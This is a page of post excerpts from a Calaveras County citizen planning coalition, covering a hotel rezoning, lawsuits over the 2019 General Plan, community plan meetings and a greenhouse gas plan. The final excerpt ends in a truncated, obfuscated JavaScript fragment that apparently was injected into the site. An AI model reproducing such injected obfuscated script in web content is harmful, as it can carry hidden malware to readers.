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Towering 79 feet from street level, St. Charles Hospitality LLC is proposing a 79-room hotel and restaurant on the hillside across from Treats grocery store on Highway 49 in San Andreas. The proposal needs County approval to rezone one of the two parcels from multi-family housing to commercial and to exceed the County’s 45-foot height limit. Written comments on the initial study are due September 16. You can view the initial study... Read More
Press Release: Planning Coalition Receives Grant to Advance Litigation Against 2019 General PlanPress-Release.CPC_.Rapid-Response-Grant.docxDownload May 17, 2024 For Immediate Release For more information contact: Megan Fiske, CAP/CPC Outreach Coordinator, calaverascap@gmail.com or (209) 559-4593 Planning Coalition Receives Grant to Advance Litigation Against 2019 General Plan San Andreas, CA. The Calaveras Planning Coalition (CPC), which is administered by the Community Action Project (CAP), has received a $20,000 grant... Read More
Third Copperopolis Community Plan Meeting 10/26Calaveras County District 4 Supervisor Amanda Folendorf and the Calaveras County Planning Department invite members of the community and the general public to a community town hall meeting on the proposed Copperopolis Community Plan on Thursday, October 26, 2023, at 6 pm, at the Armory in Copperopolis. The Armory is located at 695 Main Street, Copperopolis. The purpose of the community town hall meeting is to discuss the comments received on the... Read More
Calaveras County continues Zoning ordinance updateThe next portion of the draft zoning ordinance is now available for public review and comment. The Planning Commission will continue to review the ordinance page by page and allow public comment on the following days: October 25October 26November 8November 9November 15 Curious if the zoning update will affect your parcel? Use the County’s “Zoning Update Portal” to enter your address and see if your parcel’s... Read More
CCWD Rate Increase Public HearingPlease join us for the Calaveras County Water District’s (CCWD) Special Board Meeting Public Hearing on September 13, 2023, at 5:30 p.m. Please follow this link to view the agenda materials. (Or view the agenda packet below) Board chambers are open to the public and the following alternative is available to those who wish to participate in the meeting virtually. ________________________________________________________________________________ Microsoft... Read More
Copperopolis Community Plan Town Hall Meeting Scheduled for July 272ND-COPPEROPOLIS-COMMUNITY-PLAN-TOWN-HALL-MEETING-ANNOUNCEMENT-Final-Version-7-13-23.docxDownload NOTICE OF SECOND 2023 COPPEROPOLISCOMMUNITY PLAN TOWN HALL MEETING THE ARMORY IN COPPEROPOLIS 777 ANTELOPE STREET,COPPEROPOLIS, CA 95228 Calaveras County District 4 Supervisor Amanda Folendorf and the Calaveras CountyPlanning Department invite members of the community and the general public to acommunity town hall meeting on the proposed Copperopolis... Read More
GET INFORMED! See County Greenhouse Gas Reduction Strategy for YourselfThe Calaveras County Planning Commission has been working on its Greenhouse Gas Reduction Plan throughout Spring 2022. This plan is required by the county and offers an opportunity to look at our climate impact problems, but is also a big opportunity to secure grant funding. The citizen-based Calaveras Planning Coalition has been watching this progress closely and sending comments, and sometime soon a public survey is expected to go out to all... Read More
ACTION ALERT: Public comments needed on Greenhouse Gas Reduction Plan this Thursday, April 28Muriel Zeller / CAP/CPC / April 12, 2022 On Thursday, April 28, 2022, 9:00 AM, the Calaveras County Planning Commission will hear from staff and consultants on the proposed implementation measures for the Greenhouse Gas (GHG) Reduction Plan. The draft measures make for some interesting reading. It is a very ambitious draft plan, and the consultants suggest designating a department to implement the plan, hiring additional staff, and applying for... Read More
CPC v. BOS Lawsuit Updates2022 Case Updates This press release reports that the County is slow to implement the 2019 General Plan Update, and that yet another recent appellate court case weakens the County’s defense of the 2019 General Plan Update. March 2022 Another New Case Means Deeper Legal Jeopardy for the Calaveras County General Plan 2021 Case Updates This guest editorial promotes the restoration of plans to meet the unique needs of the diverse communities... Read More
Get Informed! New homepage links for lawsuitWe’ve added a new, easy-to-access set of links to our homepage to read more about our ongoing lawsuit with the Calaveras County Board of Supervisors. Scroll down and look on the left-hand sidebar to find “CAP v. Board of Supervisors”. Here you’ll find a direct link to read the petition yourself and a link to read history and updates on the lawsuit. More updates coming soon! function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return... Read More
